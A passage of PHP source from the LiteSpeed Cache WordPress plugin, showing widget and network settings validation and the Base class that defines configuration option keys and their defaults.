			wp_die( esc_html__( 'No fields', 'litespeed-cache' ) );
		}

		$raw_data = Admin::cleanup_text( $raw_data );

		foreach ( array_unique( $raw_data[ self::ENROLL ] ) as $id ) {
			// Append current field to setting save.
			if ( ! array_key_exists( $id, self::$_default_site_options ) ) {
				continue;
			}

			$data = ! empty( $raw_data[ $id ] ) ? $raw_data[ $id ] : false;

			// id validation will be inside.
			$this->cls( 'Conf' )->network_update( $id, $data );
		}

		// Update related files.
		Activation::cls()->update_files();

		$msg = __( 'Options saved.', 'litespeed-cache' );
		Admin_Display::success( $msg );
	}

	/**
	 * Hooked to the wp_redirect filter when saving widgets fails validation.
	 *
	 * @since 1.1.3
	 *
	 * @param string $location The redirect location.
	 * @return string Updated location string.
	 */
	public static function widget_save_err( $location ) {
		return str_replace( '?message=0', '?error=0', $location );
	}

	/**
	 * Validate the LiteSpeed Cache settings on widget save.
	 *
	 * @since 1.1.3
	 *
	 * @param array      $instance     The new settings.
	 * @param array      $new_instance The raw submitted settings.
	 * @param array      $old_instance The original settings.
	 * @param \WP_Widget $widget       The widget instance.
	 * @return array|false Updated settings on success, false on error.
	 */
	public static function validate_widget_save( $instance, $new_instance, $old_instance, $widget ) {
		if ( empty( $new_instance ) ) {
			return $instance;
		}

		if ( ! isset( $new_instance[ ESI::WIDGET_O_ESIENABLE ], $new_instance[ ESI::WIDGET_O_TTL ] ) ) {
			return $instance;
		}

		$esi = (int) $new_instance[ ESI::WIDGET_O_ESIENABLE ] % 3;
		$ttl = (int) $new_instance[ ESI::WIDGET_O_TTL ];

		if ( 0 !== $ttl && $ttl < 30 ) {
			add_filter( 'wp_redirect', __CLASS__ . '::widget_save_err' );
			return false; // Invalid ttl.
		}

		if ( empty( $instance[ Conf::OPTION_NAME ] ) ) {
			// @todo to be removed.
			$instance[ Conf::OPTION_NAME ] = [];
		}
		$instance[ Conf::OPTION_NAME ][ ESI::WIDGET_O_ESIENABLE ] = $esi;
		$instance[ Conf::OPTION_NAME ][ ESI::WIDGET_O_TTL ]       = $ttl;

		$current = ! empty( $old_instance[ Conf::OPTION_NAME ] ) ? $old_instance[ Conf::OPTION_NAME ] : false;

		// Avoid unsanitized superglobal usage.
		$referrer = isset( $_SERVER['HTTP_REFERER'] ) ? esc_url_raw( wp_unslash( $_SERVER['HTTP_REFERER'] ) ) : '';

		// Only purge when not in the Customizer.
		if ( false === strpos( $referrer, '/wp-admin/customize.php' ) ) {
			if ( ! $current || $esi !== (int) $current[ ESI::WIDGET_O_ESIENABLE ] ) {
				Purge::purge_all( 'Widget ESI_enable changed' );
			} elseif ( 0 !== $ttl && $ttl !== (int) $current[ ESI::WIDGET_O_TTL ] ) {
				Purge::add( Tag::TYPE_WIDGET . $widget->id );
			}

			Purge::purge_all( 'Widget saved' );
		}

		return $instance;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/base.cls.php000064400000105063151031165260017266 0ustar00<?php
/**
 * The base constants and defaults for LiteSpeed Cache.
 *
 * Defines all option keys, default values, and helper methods shared across the plugin.
 *
 * @since 3.7
 * @package LiteSpeed
 */

namespace LiteSpeed;

defined('WPINC') || exit();

/**
 * Class Base
 *
 * Core definitions and helpers shared across LiteSpeed Cache.
 */
class Base extends Root {

	// This is redundant since v3.0
	// New conf items are `litespeed.key`
	const OPTION_NAME = 'litespeed-cache-conf';

	const _CACHE = '_cache'; // final cache status from setting

	// -------------------------------------------------- ##
	// --------------       General     ----------------- ##
	// -------------------------------------------------- ##
	const _VER           = '_version'; // Not set-able
	const HASH           = 'hash'; // Not set-able
	const O_AUTO_UPGRADE = 'auto_upgrade';
	const O_API_KEY      = 'api_key'; // Deprecated since v6.4. TODO: Will drop after v8 (still need to keep for v7 upgrade conf usage as v6.5.4 has a major user base)
	const O_SERVER_IP    = 'server_ip';
	const O_GUEST        = 'guest';
	const O_GUEST_OPTM   = 'guest_optm';
	const O_NEWS         = 'news';
	const O_GUEST_UAS    = 'guest_uas';
	const O_GUEST_IPS    = 'guest_ips';

	// -------------------------------------------------- ##
	// --------------       Cache       ----------------- ##
	// -------------------------------------------------- ##
	const O_CACHE                = 'cache';
	const O_CACHE_PRIV           = 'cache-priv';
	const O_CACHE_COMMENTER      = 'cache-commenter';
	const O_CACHE_REST           = 'cache-rest';
	const O_CACHE_PAGE_LOGIN     = 'cache-page_login';
	const O_CACHE_RES            = 'cache-resources'; // Deprecated since v7.2. TODO: Drop after v7.5
	const O_CACHE_MOBILE         = 'cache-mobile';
	const O_CACHE_MOBILE_RULES   = 'cache-mobile_rules';
	const O_CACHE_BROWSER        = 'cache-browser';
	const O_CACHE_EXC_USERAGENTS = 'cache-exc_useragents';
	const O_CACHE_EXC_COOKIES    = 'cache-exc_cookies';
	const O_CACHE_EXC_QS         = 'cache-exc_qs';
	const O_CACHE_EXC_CAT        = 'cache-exc_cat';
	const O_CACHE_EXC_TAG        = 'cache-exc_tag';
	const O_CACHE_FORCE_URI      = 'cache-force_uri';
	const O_CACHE_FORCE_PUB_URI  = 'cache-force_pub_uri';
	const O_CACHE_PRIV_URI       = 'cache-priv_uri';
	const O_CACHE_EXC            = 'cache-exc';
	const O_CACHE_EXC_ROLES      = 'cache-exc_roles';
	const O_CACHE_DROP_QS        = 'cache-drop_qs';
	const O_CACHE_TTL_PUB        = 'cache-ttl_pub';
	const O_CACHE_TTL_PRIV       = 'cache-ttl_priv';
	const O_CACHE_TTL_FRONTPAGE  = 'cache-ttl_frontpage';
	const O_CACHE_TTL_FEED       = 'cache-ttl_feed';
	const O_CACHE_TTL_REST       = 'cache-ttl_rest';
	const O_CACHE_TTL_STATUS     = 'cache-ttl_status';
	const O_CACHE_TTL_BROWSER    = 'cache-ttl_browser';
	const O_CACHE_AJAX_TTL       = 'cache-ajax_ttl';
	const O_CACHE_LOGIN_COOKIE   = 'cache-login_cookie';
	const O_CACHE_VARY_COOKIES   = 'cache-vary_cookies';
	const O_CACHE_VARY_GROUP     = 'cache-vary_group';

	// -------------------------------------------------- ##
	// --------------       Purge       ----------------- ##
	// -------------------------------------------------- ##
	const O_PURGE_ON_UPGRADE                   = 'purge-upgrade';
	const O_PURGE_STALE                        = 'purge-stale';
	const O_PURGE_POST_ALL                     = 'purge-post_all';
	const O_PURGE_POST_FRONTPAGE               = 'purge-post_f';
	const O_PURGE_POST_HOMEPAGE                = 'purge-post_h';
	const O_PURGE_POST_PAGES                   = 'purge-post_p';
	const O_PURGE_POST_PAGES_WITH_RECENT_POSTS = 'purge-post_pwrp';
	const O_PURGE_POST_AUTHOR                  = 'purge-post_a';
	const O_PURGE_POST_YEAR                    = 'purge-post_y';
	const O_PURGE_POST_MONTH                   = 'purge-post_m';
	const O_PURGE_POST_DATE                    = 'purge-post_d';
	const O_PURGE_POST_TERM                    = 'purge-post_t'; // include category|tag|tax
	const O_PURGE_POST_POSTTYPE                = 'purge-post_pt';
	const O_PURGE_TIMED_URLS                   = 'purge-timed_urls';
	const O_PURGE_TIMED_URLS_TIME              = 'purge-timed_urls_time';
	const O_PURGE_HOOK_ALL                     = 'purge-hook_all';

	// -------------------------------------------------- ##
	// --------------        ESI        ----------------- ##
	// -------------------------------------------------- ##
	const O_ESI                = 'esi';
	const O_ESI_CACHE_ADMBAR   = 'esi-cache_admbar';
	const O_ESI_CACHE_COMMFORM = 'esi-cache_commform';
	const O_ESI_NONCE          = 'esi-nonce';

	// -------------------------------------------------- ##
	// --------------     Utilities     ----------------- ##
	// -------------------------------------------------- ##
	const O_UTIL_INSTANT_CLICK = 'util-instant_click';
	const O_UTIL_NO_HTTPS_VARY = 'util-no_https_vary';

	// -------------------------------------------------- ##
	// --------------       Debug       ----------------- ##
	// -------------------------------------------------- ##
	const O_DEBUG_DISABLE_ALL = 'debug-disable_all';
	const O_DEBUG             = 'debug';
	const O_DEBUG_IPS         = 'debug-ips';
	const O_DEBUG_LEVEL       = 'debug-level';
	const O_DEBUG_FILESIZE    = 'debug-filesize';
	const O_DEBUG_COOKIE      = 'debug-cookie'; // For backwards compatibility, will drop after v7.0
	const O_DEBUG_COLLAPSE_QS = 'debug-collapse_qs';
	const O_DEBUG_COLLAPS_QS  = 'debug-collapse_qs'; // For backwards compatibility, will drop after v6.5
	const O_DEBUG_INC         = 'debug-inc';
	const O_DEBUG_EXC         = 'debug-exc';
	const O_DEBUG_EXC_STRINGS = 'debug-exc_strings';

	// -------------------------------------------------- ##
	// --------------      DB Optm      ----------------- ##
	// -------------------------------------------------- ##
	const O_DB_OPTM_REVISIONS_MAX = 'db_optm-revisions_max';
	const O_DB_OPTM_REVISIONS_AGE = 'db_optm-revisions_age';

	// -------------------------------------------------- ##
	// --------------     HTML Optm     ----------------- ##
	// -------------------------------------------------- ##
	const O_OPTM_CSS_MIN                 = 'optm-css_min';
	const O_OPTM_CSS_COMB                = 'optm-css_comb';
	const O_OPTM_CSS_COMB_EXT_INL        = 'optm-css_comb_ext_inl';
	const O_OPTM_UCSS                    = 'optm-ucss';
	const O_OPTM_UCSS_INLINE             = 'optm-ucss_inline';
	const O_OPTM_UCSS_SELECTOR_WHITELIST = 'optm-ucss_whitelist';
	const O_OPTM_UCSS_FILE_EXC_INLINE    = 'optm-ucss_file_exc_inline';
	const O_OPTM_UCSS_EXC                = 'optm-ucss_exc';
	const O_OPTM_CSS_EXC                 = 'optm-css_exc';
	const O_OPTM_JS_MIN                  = 'optm-js_min';
	const O_OPTM_JS_COMB                 = 'optm-js_comb';
	const O_OPTM_JS_COMB_EXT_INL         = 'optm-js_comb_ext_inl';
	const O_OPTM_JS_DELAY_INC            = 'optm-js_delay_inc';
	const O_OPTM_JS_EXC                  = 'optm-js_exc';
	const O_OPTM_HTML_MIN                = 'optm-html_min';
	const O_OPTM_HTML_LAZY               = 'optm-html_lazy';
	const O_OPTM_HTML_SKIP_COMMENTS      = 'optm-html_skip_comment';
	const O_OPTM_QS_RM                   = 'optm-qs_rm';
	const O_OPTM_GGFONTS_RM              = 'optm-ggfonts_rm';
	const O_OPTM_CSS_ASYNC               = 'optm-css_async';
	const O_OPTM_CCSS_PER_URL            = 'optm-ccss_per_url';
	const O_OPTM_CCSS_SEP_POSTTYPE       = 'optm-ccss_sep_posttype';
	const O_OPTM_CCSS_SEP_URI            = 'optm-ccss_sep_uri';
	const O_OPTM_CCSS_SELECTOR_WHITELIST = 'optm-ccss_whitelist';
	const O_OPTM_CSS_ASYNC_INLINE        = 'optm-css_async_inline';
	const O_OPTM_CSS_FONT_DISPLAY        = 'optm-css_font_display';
	const O_OPTM_JS_DEFER                = 'optm-js_defer';
	const O_OPTM_LOCALIZE                = 'optm-localize';
	const O_OPTM_LOCALIZE_DOMAINS        = 'optm-localize_domains';
	const O_OPTM_EMOJI_RM                = 'optm-emoji_rm';
	const O_OPTM_NOSCRIPT_RM             = 'optm-noscript_rm';
	const O_OPTM_GGFONTS_ASYNC           = 'optm-ggfonts_async';
	const O_OPTM_EXC_ROLES               = 'optm-exc_roles';
	const O_OPTM_CCSS_CON                = 'optm-ccss_con';
	const O_OPTM_JS_DEFER_EXC            = 'optm-js_defer_exc';
	const O_OPTM_GM_JS_EXC               = 'optm-gm_js_exc';
	const O_OPTM_DNS_PREFETCH            = 'optm-dns_prefetch';
	const O_OPTM_DNS_PREFETCH_CTRL       = 'optm-dns_prefetch_ctrl';
	const O_OPTM_DNS_PRECONNECT          = 'optm-dns_preconnect';
	const O_OPTM_EXC                     = 'optm-exc';
	const O_OPTM_GUEST_ONLY              = 'optm-guest_only';

	// -------------------------------------------------- ##
	// --------------   Object Cache    ----------------- ##
	// -------------------------------------------------- ##
	const O_OBJECT                       = 'object';
	const O_OBJECT_KIND                  = 'object-kind';
	const O_OBJECT_HOST                  = 'object-host';
	const O_OBJECT_PORT                  = 'object-port';
	const O_OBJECT_LIFE                  = 'object-life';
	const O_OBJECT_PERSISTENT            = 'object-persistent';
	const O_OBJECT_ADMIN                 = 'object-admin';
	const O_OBJECT_TRANSIENTS            = 'object-transients';
	const O_OBJECT_DB_ID                 = 'object-db_id';
	const O_OBJECT_USER                  = 'object-user';
	const O_OBJECT_PSWD                  = 'object-pswd';
	const O_OBJECT_GLOBAL_GROUPS         = 'object-global_groups';
	const O_OBJECT_NON_PERSISTENT_GROUPS = 'object-non_persistent_groups';

	// -------------------------------------------------- ##
	// --------------   Discussion      ----------------- ##
	// -------------------------------------------------- ##
	const O_DISCUSS_AVATAR_CACHE     = 'discuss-avatar_cache';
	const O_DISCUSS_AVATAR_CRON      = 'discuss-avatar_cron';
	const O_DISCUSS_AVATAR_CACHE_TTL = 'discuss-avatar_cache_ttl';

	// -------------------------------------------------- ##
	// --------------        Media      ----------------- ##
	// -------------------------------------------------- ##
	const O_MEDIA_PRELOAD_FEATURED           = 'media-preload_featured'; // Deprecated since v6.2. TODO: Will drop after v6.5
	const O_MEDIA_LAZY                       = 'media-lazy';
	const O_MEDIA_LAZY_PLACEHOLDER           = 'media-lazy_placeholder';
	const O_MEDIA_PLACEHOLDER_RESP           = 'media-placeholder_resp';
	const O_MEDIA_PLACEHOLDER_RESP_COLOR     = 'media-placeholder_resp_color';
	const O_MEDIA_PLACEHOLDER_RESP_SVG       = 'media-placeholder_resp_svg';
	const O_MEDIA_LQIP                       = 'media-lqip';
	const O_MEDIA_LQIP_QUAL                  = 'media-lqip_qual';
	const O_MEDIA_LQIP_MIN_W                 = 'media-lqip_min_w';
	const O_MEDIA_LQIP_MIN_H                 = 'media-lqip_min_h';
	const O_MEDIA_PLACEHOLDER_RESP_ASYNC     = 'media-placeholder_resp_async';
	const O_MEDIA_IFRAME_LAZY                = 'media-iframe_lazy';
	const O_MEDIA_ADD_MISSING_SIZES          = 'media-add_missing_sizes';
	const O_MEDIA_LAZY_EXC                   = 'media-lazy_exc';
	const O_MEDIA_LAZY_CLS_EXC               = 'media-lazy_cls_exc';
	const O_MEDIA_LAZY_PARENT_CLS_EXC        = 'media-lazy_parent_cls_exc';
	const O_MEDIA_IFRAME_LAZY_CLS_EXC        = 'media-iframe_lazy_cls_exc';
	const O_MEDIA_IFRAME_LAZY_PARENT_CLS_EXC = 'media-iframe_lazy_parent_cls_exc';
	const O_MEDIA_LAZY_URI_EXC               = 'media-lazy_uri_exc';
	const O_MEDIA_LQIP_EXC                   = 'media-lqip_exc';
	const O_MEDIA_VPI                        = 'media-vpi';
	const O_MEDIA_VPI_CRON                   = 'media-vpi_cron';
	const O_IMG_OPTM_JPG_QUALITY             = 'img_optm-jpg_quality';
	const O_MEDIA_AUTO_RESCALE_ORI           = 'media-auto_rescale_ori';

	// -------------------------------------------------- ##
	// --------------     Image Optm    ----------------- ##
	// -------------------------------------------------- ##
	const O_IMG_OPTM_AUTO                = 'img_optm-auto';
	const O_IMG_OPTM_CRON                = 'img_optm-cron'; // @Deprecated since v7.0 TODO: remove after v7.5
	const O_IMG_OPTM_ORI                 = 'img_optm-ori';
	const O_IMG_OPTM_RM_BKUP             = 'img_optm-rm_bkup';
	const O_IMG_OPTM_WEBP                = 'img_optm-webp';
	const O_IMG_OPTM_LOSSLESS            = 'img_optm-lossless';
	const O_IMG_OPTM_SIZES_SKIPPED       = 'img_optm-sizes_skipped';
	const O_IMG_OPTM_EXIF                = 'img_optm-exif';
	const O_IMG_OPTM_WEBP_ATTR           = 'img_optm-webp_attr';
	const O_IMG_OPTM_WEBP_REPLACE_SRCSET = 'img_optm-webp_replace_srcset';

	// -------------------------------------------------- ##
	// --------------       Crawler     ----------------- ##
	// -------------------------------------------------- ##
	const O_CRAWLER                = 'crawler';
	const O_CRAWLER_USLEEP         = 'crawler-usleep'; // @Deprecated since v7.0 TODO: remove after v7.5
	const O_CRAWLER_RUN_DURATION   = 'crawler-run_duration'; // @Deprecated since v7.0 TODO: remove after v7.5
	const O_CRAWLER_RUN_INTERVAL   = 'crawler-run_interval'; // @Deprecated since v7.0 TODO: remove after v7.5
	const O_CRAWLER_CRAWL_INTERVAL = 'crawler-crawl_interval';
	const O_CRAWLER_THREADS        = 'crawler-threads'; // @Deprecated since v7.0 TODO: remove after v7.5
	const O_CRAWLER_TIMEOUT        = 'crawler-timeout'; // @Deprecated since v7.0 TODO: remove after v7.5
	const O_CRAWLER_LOAD_LIMIT     = 'crawler-load_limit';
	const O_CRAWLER_SITEMAP        = 'crawler-sitemap';
	const O_CRAWLER_DROP_DOMAIN    = 'crawler-drop_domain'; // @Deprecated since v7.0 TODO: remove after v7.5
	const O_CRAWLER_MAP_TIMEOUT    = 'crawler-map_timeout'; // @Deprecated since v7.0 TODO: remove after v7.5
	const O_CRAWLER_ROLES          = 'crawler-roles';
	const O_CRAWLER_COOKIES        = 'crawler-cookies';

	// -------------------------------------------------- ##
	// --------------        Misc       ----------------- ##
	// -------------------------------------------------- ##
	const O_MISC_HEARTBEAT_FRONT      = 'misc-heartbeat_front';
	const O_MISC_HEARTBEAT_FRONT_TTL  = 'misc-heartbeat_front_ttl';
	const O_MISC_HEARTBEAT_BACK       = 'misc-heartbeat_back';
	const O_MISC_HEARTBEAT_BACK_TTL   = 'misc-heartbeat_back_ttl';
	const O_MISC_HEARTBEAT_EDITOR     = 'misc-heartbeat_editor';
	const O_MISC_HEARTBEAT_EDITOR_TTL = 'misc-heartbeat_editor_ttl';

	// -------------------------------------------------- ##
	// --------------        CDN        ----------------- ##
	// -------------------------------------------------- ##
	const O_CDN                  = 'cdn';
	const O_CDN_ORI              = 'cdn-ori';
	const O_CDN_ORI_DIR          = 'cdn-ori_dir';
	const O_CDN_EXC              = 'cdn-exc';
	const O_CDN_QUIC             = 'cdn-quic'; // No more a visible setting since v7
	const O_CDN_CLOUDFLARE       = 'cdn-cloudflare';
	const O_CDN_CLOUDFLARE_EMAIL = 'cdn-cloudflare_email';
	const O_CDN_CLOUDFLARE_KEY   = 'cdn-cloudflare_key';
	const O_CDN_CLOUDFLARE_NAME  = 'cdn-cloudflare_name';
	const O_CDN_CLOUDFLARE_ZONE  = 'cdn-cloudflare_zone';
	const O_CDN_CLOUDFLARE_CLEAR = 'cdn-cloudflare_clear';
	const O_CDN_MAPPING          = 'cdn-mapping';
	const O_CDN_ATTR             = 'cdn-attr';
	const O_QC_NAMESERVERS       = 'qc-nameservers';
	const O_QC_CNAME             = 'qc-cname';

	// -------------------------------------------------- ##
	// --------------      OptimaX      ----------------- ##
	// -------------------------------------------------- ##
	const O_OPTIMAX = 'optimax';

	const NETWORK_O_USE_PRIMARY = 'use_primary_settings';

	const DEBUG_TMP_DISABLE = 'debug-disable_tmp';

	/*** Other consts ***/
	const O_GUIDE = 'litespeed-guide'; // Array of each guidance tag as key, step as val //xx todo: may need to remove

	// Server variables
	const ENV_CRAWLER_USLEEP             = 'CRAWLER_USLEEP';
	const ENV_CRAWLER_LOAD_LIMIT         = 'CRAWLER_LOAD_LIMIT';
	const ENV_CRAWLER_LOAD_LIMIT_ENFORCE = 'CRAWLER_LOAD_LIMIT_ENFORCE';

	const CRWL_COOKIE_NAME = 'name';
	const CRWL_COOKIE_VALS = 'vals';

	const CDN_MAPPING_URL      = 'url';
	const CDN_MAPPING_INC_IMG  = 'inc_img';
	const CDN_MAPPING_INC_CSS  = 'inc_css';
	const CDN_MAPPING_INC_JS   = 'inc_js';
	const CDN_MAPPING_FILETYPE = 'filetype';

	const VAL_OFF = 0;
	const VAL_ON  = 1;
	const VAL_ON2 = 2;

	/* This is for API hook usage */
	const IMG_OPTM_BM_ORI      = 1; // @Deprecated since v7.0
	const IMG_OPTM_BM_WEBP     = 2; // @Deprecated since v7.0
	const IMG_OPTM_BM_LOSSLESS = 4; // @Deprecated since v7.0
	const IMG_OPTM_BM_EXIF     = 8; // @Deprecated since v7.0
	const IMG_OPTM_BM_AVIF     = 16; // @Deprecated since v7.0

	/**
	 * Site related options (Will not overwrite other sites' config).
	 *
	 * @var string[]
	 */
	protected static $single_site_options = [
		self::O_CRAWLER,
		self::O_CRAWLER_SITEMAP,
		self::O_CDN,
		self::O_CDN_ORI,
		self::O_CDN_ORI_DIR,
		self::O_CDN_EXC,
		self::O_CDN_CLOUDFLARE,
		self::O_CDN_CLOUDFLARE_EMAIL,
		self::O_CDN_CLOUDFLARE_KEY,
		self::O_CDN_CLOUDFLARE_NAME,
		self::O_CDN_CLOUDFLARE_ZONE,
		self::O_CDN_CLOUDFLARE_CLEAR,
		self::O_CDN_MAPPING,
		self::O_CDN_ATTR,
		self::O_QC_NAMESERVERS,
		self::O_QC_CNAME,
	];

	/**
	 * Default options for single-site installs.
	 *
	 * @var array<string,mixed>
	 */
	protected static $_default_options = [
		self::_VER => '',
		self::HASH => '',
		self::O_API_KEY => '',
		self::O_AUTO_UPGRADE => false,
		self::O_SERVER_IP => '',
		self::O_GUEST => false,
		self::O_GUEST_OPTM => false,
		self::O_NEWS => false,
		self::O_GUEST_UAS => [],
		self::O_GUEST_IPS => [],

		// Cache
		self::O_CACHE => false,
		self::O_CACHE_PRIV => false,
		self::O_CACHE_COMMENTER => false,
		self::O_CACHE_REST => false,
		self::O_CACHE_PAGE_LOGIN => false,
		self::O_CACHE_MOBILE => false,
		self::O_CACHE_MOBILE_RULES => [],
		self::O_CACHE_BROWSER => false,
		self::O_CACHE_EXC_USERAGENTS => [],
		self::O_CACHE_EXC_COOKIES => [],
		self::O_CACHE_EXC_QS => [],
		self::O_CACHE_EXC_CAT => [],
		self::O_CACHE_EXC_TAG => [],
		self::O_CACHE_FORCE_URI => [],
		self::O_CACHE_FORCE_PUB_URI => [],
		self::O_CACHE_PRIV_URI => [],
		self::O_CACHE_EXC => [],
		self::O_CACHE_EXC_ROLES => [],
		self::O_CACHE_DROP_QS => [],
		self::O_CACHE_TTL_PUB => 0,
		self::O_CACHE_TTL_PRIV => 0,
		self::O_CACHE_TTL_FRONTPAGE => 0,
		self::O_CACHE_TTL_FEED => 0,
		self::O_CACHE_TTL_REST => 0,
		self::O_CACHE_TTL_BROWSER => 0,
		self::O_CACHE_TTL_STATUS => [],
		self::O_CACHE_LOGIN_COOKIE => '',
		self::O_CACHE_AJAX_TTL => [],
		self::O_CACHE_VARY_COOKIES => [],
		self::O_CACHE_VARY_GROUP => [],

		// Purge
		self::O_PURGE_ON_UPGRADE => false,
		self::O_PURGE_STALE => false,
		self::O_PURGE_POST_ALL => false,
		self::O_PURGE_POST_FRONTPAGE => false,
		self::O_PURGE_POST_HOMEPAGE => false,
		self::O_PURGE_POST_PAGES => false,
		self::O_PURGE_POST_PAGES_WITH_RECENT_POSTS => false,
		self::O_PURGE_POST_AUTHOR => false,
		self::O_PURGE_POST_YEAR => false,
		self::O_PURGE_POST_MONTH => false,
		self::O_PURGE_POST_DATE => false,
		self::O_PURGE_POST_TERM => false,
		self::O_PURGE_POST_POSTTYPE => false,
		self::O_PURGE_TIMED_URLS => [],
		self::O_PURGE_TIMED_URLS_TIME => '',
		self::O_PURGE_HOOK_ALL => [],

		// ESI
		self::O_ESI => false,
		self::O_ESI_CACHE_ADMBAR => false,
		self::O_ESI_CACHE_COMMFORM => false,
		self::O_ESI_NONCE => [],

		// Util
		self::O_UTIL_INSTANT_CLICK => false,
		self::O_UTIL_NO_HTTPS_VARY => false,

		// Debug
		self::O_DEBUG_DISABLE_ALL => false,
		self::O_DEBUG => false,
		self::O_DEBUG_IPS => [],
		self::O_DEBUG_LEVEL => false,
		self::O_DEBUG_FILESIZE => 0,
		self::O_DEBUG_COLLAPSE_QS => false,
		self::O_DEBUG_INC => [],
		self::O_DEBUG_EXC => [],
		self::O_DEBUG_EXC_STRINGS => [],

		// DB Optm
		self::O_DB_OPTM_REVISIONS_MAX => 0,
		self::O_DB_OPTM_REVISIONS_AGE => 0,

		// HTML Optm
		self::O_OPTM_CSS_MIN => false,
		self::O_OPTM_CSS_COMB => false,
		self::O_OPTM_CSS_COMB_EXT_INL => false,
		self::O_OPTM_UCSS => false,
		self::O_OPTM_UCSS_INLINE => false,
		self::O_OPTM_UCSS_SELECTOR_WHITELIST => [],
		self::O_OPTM_UCSS_FILE_EXC_INLINE => [],
		self::O_OPTM_UCSS_EXC => [],
		self::O_OPTM_CSS_EXC => [],
		self::O_OPTM_JS_MIN => false,
		self::O_OPTM_JS_COMB => false,
		self::O_OPTM_JS_COMB_EXT_INL => false,
		self::O_OPTM_JS_DELAY_INC => [],
		self::O_OPTM_JS_EXC => [],
		self::O_OPTM_HTML_MIN => false,
		self::O_OPTM_HTML_LAZY => [],
		self::O_OPTM_HTML_SKIP_COMMENTS => [],
		self::O_OPTM_QS_RM => false,
		self::O_OPTM_GGFONTS_RM => false,
		self::O_OPTM_CSS_ASYNC => false,
		self::O_OPTM_CCSS_PER_URL => false,
		self::O_OPTM_CCSS_SEP_POSTTYPE => [],
		self::O_OPTM_CCSS_SEP_URI => [],
		self::O_OPTM_CCSS_SELECTOR_WHITELIST => [],
		self::O_OPTM_CSS_ASYNC_INLINE => false,
		self::O_OPTM_CSS_FONT_DISPLAY => false,
		self::O_OPTM_JS_DEFER => false,
		self::O_OPTM_EMOJI_RM => false,
		self::O_OPTM_NOSCRIPT_RM => false,
		self::O_OPTM_GGFONTS_ASYNC => false,
		self::O_OPTM_EXC_ROLES => [],
		self::O_OPTM_CCSS_CON => '',
		self::O_OPTM_JS_DEFER_EXC => [],
		self::O_OPTM_GM_JS_EXC => [],
		self::O_OPTM_DNS_PREFETCH => [],
		self::O_OPTM_DNS_PREFETCH_CTRL => false,
		self::O_OPTM_DNS_PRECONNECT => [],
		self::O_OPTM_EXC => [],
		self::O_OPTM_GUEST_ONLY => false,

		// Object
		self::O_OBJECT => false,
		self::O_OBJECT_KIND => false,
		self::O_OBJECT_HOST => '',
		self::O_OBJECT_PORT => 0,
		self::O_OBJECT_LIFE => 0,
		self::O_OBJECT_PERSISTENT => false,
		self::O_OBJECT_ADMIN => false,
		self::O_OBJECT_TRANSIENTS => false,
		self::O_OBJECT_DB_ID => 0,
		self::O_OBJECT_USER => '',
		self::O_OBJECT_PSWD => '',
		self::O_OBJECT_GLOBAL_GROUPS => [],
		self::O_OBJECT_NON_PERSISTENT_GROUPS => [],

		// Discuss
		self::O_DISCUSS_AVATAR_CACHE => false,
		self::O_DISCUSS_AVATAR_CRON => false,
		self::O_DISCUSS_AVATAR_CACHE_TTL => 0,
		self::O_OPTM_LOCALIZE => false,
		self::O_OPTM_LOCALIZE_DOMAINS => [],

		// Media
		self::O_MEDIA_LAZY => false,
		self::O_MEDIA_LAZY_PLACEHOLDER => '',
		self::O_MEDIA_PLACEHOLDER_RESP => false,
		self::O_MEDIA_PLACEHOLDER_RESP_COLOR => '',
		self::O_MEDIA_PLACEHOLDER_RESP_SVG => '',
		self::O_MEDIA_LQIP => false,
		self::O_MEDIA_LQIP_QUAL => 0,
		self::O_MEDIA_LQIP_MIN_W => 0,
		self::O_MEDIA_LQIP_MIN_H => 0,
		self::O_MEDIA_PLACEHOLDER_RESP_ASYNC => false,
		self::O_MEDIA_IFRAME_LAZY => false,
		self::O_MEDIA_ADD_MISSING_SIZES => false,
		self::O_MEDIA_LAZY_EXC => [],
		self::O_MEDIA_LAZY_CLS_EXC => [],
		self::O_MEDIA_LAZY_PARENT_CLS_EXC => [],
		self::O_MEDIA_IFRAME_LAZY_CLS_EXC => [],
		self::O_MEDIA_IFRAME_LAZY_PARENT_CLS_EXC => [],
		self::O_MEDIA_LAZY_URI_EXC => [],
		self::O_MEDIA_LQIP_EXC => [],
		self::O_MEDIA_VPI => false,
		self::O_MEDIA_VPI_CRON => false,
		self::O_MEDIA_AUTO_RESCALE_ORI => false,

		// Image Optm
		self::O_IMG_OPTM_AUTO => false,
		self::O_IMG_OPTM_ORI => false,
		self::O_IMG_OPTM_RM_BKUP => false,
		self::O_IMG_OPTM_WEBP => false,
		self::O_IMG_OPTM_LOSSLESS => false,
		self::O_IMG_OPTM_SIZES_SKIPPED => [],
		self::O_IMG_OPTM_EXIF => false,
		self::O_IMG_OPTM_WEBP_ATTR => [],
		self::O_IMG_OPTM_WEBP_REPLACE_SRCSET => false,
		self::O_IMG_OPTM_JPG_QUALITY => 0,

		// Crawler
		self::O_CRAWLER => false,
		self::O_CRAWLER_CRAWL_INTERVAL => 0,
		self::O_CRAWLER_LOAD_LIMIT => 0,
		self::O_CRAWLER_SITEMAP => '',
		self::O_CRAWLER_ROLES => [],
		self::O_CRAWLER_COOKIES => [],

		// Misc
		self::O_MISC_HEARTBEAT_FRONT => false,
		self::O_MISC_HEARTBEAT_FRONT_TTL => 0,
		self::O_MISC_HEARTBEAT_BACK => false,
		self::O_MISC_HEARTBEAT_BACK_TTL => 0,
		self::O_MISC_HEARTBEAT_EDITOR => false,
		self::O_MISC_HEARTBEAT_EDITOR_TTL => 0,

		// CDN
		self::O_CDN => false,
		self::O_CDN_ORI => [],
		self::O_CDN_ORI_DIR => [],
		self::O_CDN_EXC => [],
		self::O_CDN_QUIC => false,
		self::O_CDN_CLOUDFLARE => false,
		self::O_CDN_CLOUDFLARE_EMAIL => '',
		self::O_CDN_CLOUDFLARE_KEY => '',
		self::O_CDN_CLOUDFLARE_NAME => '',
		self::O_CDN_CLOUDFLARE_ZONE => '',
		self::O_CDN_CLOUDFLARE_CLEAR => false,
		self::O_CDN_MAPPING => [],
		self::O_CDN_ATTR => [],

		self::O_QC_NAMESERVERS => '',
		self::O_QC_CNAME => '',

		self::DEBUG_TMP_DISABLE => 0,
	];

	/**
	 * Default options for multisite (site-level options stored network-wide).
	 *
	 * @var array<string,mixed>
	 */
	protected static $_default_site_options = [
		self::_VER => '',
		self::O_CACHE => false,
		self::NETWORK_O_USE_PRIMARY => false,
		self::O_AUTO_UPGRADE => false,
		self::O_GUEST => false,

		self::O_CACHE_BROWSER => false,
		self::O_CACHE_MOBILE => false,
		self::O_CACHE_MOBILE_RULES => [],
